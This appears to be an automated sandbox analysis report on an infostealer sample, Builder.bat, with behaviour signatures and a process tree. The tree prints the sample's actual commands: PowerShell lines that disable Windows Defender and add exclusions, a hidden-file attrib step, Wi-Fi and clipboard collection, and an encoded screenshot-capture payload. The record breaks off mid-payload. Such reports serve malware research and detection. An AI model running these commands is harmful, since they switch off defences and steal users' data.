Analysis

  • max time kernel
    127s
  • max time network
    124s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    15/01/2025, 22:54

General

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • UPX packed file 61 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://tinyurl.com/39snamk3
    1⤵
    • Drops file in Windows directory
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:692
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff989cecc40,0x7ff989cecc4c,0x7ff989cecc58
      2⤵
        PID:1452
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1916,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1912 /prefetch:2
        2⤵
          PID:4292
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1756,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2024 /prefetch:3
          2⤵
            PID:4796
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2192,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2300 /prefetch:8
            2⤵
              PID:5092
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3048,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3080 /prefetch:1
              2⤵
                PID:3112
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3076,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3116 /prefetch:1
                2⤵
                  PID:3396
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3536,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4388 /prefetch:1
                  2⤵
                    PID:400
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4232,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4528 /prefetch:1
                    2⤵
                      PID:4392
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4584,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4592 /prefetch:1
                      2⤵
                        PID:3852
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5384,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5404 /prefetch:8
                        2⤵
                          PID:2856
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=5348,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5376 /prefetch:1
                          2⤵
                            PID:3884
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4708,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4740 /prefetch:1
                            2⤵
                              PID:1836
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5632,i,2654443131367325589,13849935339232523878,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5436 /prefetch:8
                              2⤵
                              • NTFS ADS
                              PID:900
                          • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                            "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                            1⤵
                              PID:800
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                              1⤵
                                PID:2724
                              • C:\Windows\System32\rundll32.exe
                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                1⤵
                                  PID:3880
                                • C:\Program Files\7-Zip\7zG.exe
                                  "C:\Program Files\7-Zip\7zG.exe"
                                  1⤵
                                    PID:3336
                                  • C:\Program Files\7-Zip\7zFM.exe
                                    "C:\Program Files\7-Zip\7zFM.exe"
                                    1⤵
                                    • Suspicious behavior: GetForegroundWindowSpam
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of FindShellTrayWindow
                                    PID:1004
                                  • C:\Windows\System32\NOTEPAD.EXE
                                    "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Builder.bat
                                    1⤵
                                    • Opens file in notepad (likely ransom note)
                                    PID:4520
                                  • C:\Windows\System32\NOTEPAD.EXE
                                    "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.txt
                                    1⤵
                                    • Opens file in notepad (likely ransom note)
                                    PID:3860
                                  • C:\Users\Admin\Desktop\Builder.bat
                                    "C:\Users\Admin\Desktop\Builder.bat"
                                    1⤵
                                    • Executes dropped EXE
                                    PID:3744
                                    • C:\Users\Admin\Desktop\Builder.bat
                                      "C:\Users\Admin\Desktop\Builder.bat"
                                      2⤵
                                      • Drops file in Drivers directory
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:2040
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Builder.bat'"
                                        3⤵
                                          PID:468
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Builder.bat'
                                            4⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2108
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                          3⤵
                                            PID:3680
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                              4⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:4952
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                            3⤵
                                              PID:1328
                                              • C:\Windows\system32\tasklist.exe
                                                tasklist /FO LIST
                                                4⤵
                                                • Enumerates processes with tasklist
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1252
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                              3⤵
                                                PID:2244
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic csproduct get uuid
                                                  4⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2488
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                                                3⤵
                                                  PID:560
                                                  • C:\Windows\system32\reg.exe
                                                    REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                                                    4⤵
                                                      PID:4812
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                                                    3⤵
                                                      PID:4392
                                                      • C:\Windows\system32\reg.exe
                                                        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                                                        4⤵
                                                          PID:2820
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                        3⤵
                                                          PID:1764
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic path win32_VideoController get name
                                                            4⤵
                                                            • Detects videocard installed
                                                            PID:1700
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                          3⤵
                                                            PID:3600
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic path win32_VideoController get name
                                                              4⤵
                                                              • Detects videocard installed
                                                              PID:2160
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\Desktop\Builder.bat""
                                                            3⤵
                                                            • Hide Artifacts: Hidden Files and Directories
                                                            PID:2092
                                                            • C:\Windows\system32\attrib.exe
                                                              attrib +h +s "C:\Users\Admin\Desktop\Builder.bat"
                                                              4⤵
                                                              • Views/modifies file attributes
                                                              PID:5088
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‌‍.scr'"
                                                            3⤵
                                                              PID:1860
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\   ‌‍.scr'
                                                                4⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:2356
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                              3⤵
                                                                PID:1740
                                                                • C:\Windows\system32\tasklist.exe
                                                                  tasklist /FO LIST
                                                                  4⤵
                                                                  • Enumerates processes with tasklist
                                                                  PID:2432
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                3⤵
                                                                  PID:3888
                                                                  • C:\Windows\system32\tasklist.exe
                                                                    tasklist /FO LIST
                                                                    4⤵
                                                                    • Enumerates processes with tasklist
                                                                    PID:4560
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                  3⤵
                                                                    PID:1416
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                      4⤵
                                                                        PID:4924
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                      3⤵
                                                                      • Clipboard Data
                                                                      PID:4756
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell Get-Clipboard
                                                                        4⤵
                                                                        • Clipboard Data
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:2448
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                      3⤵
                                                                        PID:3880
                                                                        • C:\Windows\system32\tasklist.exe
                                                                          tasklist /FO LIST
                                                                          4⤵
                                                                          • Enumerates processes with tasklist
                                                                          PID:3488
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                        3⤵
                                                                        • System Network Configuration Discovery: Wi-Fi Discovery
                                                                        PID:3332
                                                                        • C:\Windows\system32\netsh.exe
                                                                          netsh wlan show profile
                                                                          4⤵
                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                          • System Network Configuration Discovery: Wi-Fi Discovery
                                                                          PID:1620
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                        3⤵
                                                                          PID:4100
                                                                          • C:\Windows\system32\tree.com
                                                                            tree /A /F
                                                                            4⤵
                                                                              PID:4908
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                            3⤵
                                                                              PID:1984
                                                                              • C:\Windows\system32\systeminfo.exe
                                                                                systeminfo
                                                                                4⤵
                                                                                • Gathers system information
                                                                                PID:400
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                                              3⤵
                                                                                PID:3396
                                                                                • C:\Windows\system32\reg.exe
                                                                                  REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                                                  4⤵
                                                                                    PID:4736
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                  3⤵
                                                                                    PID:4900
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA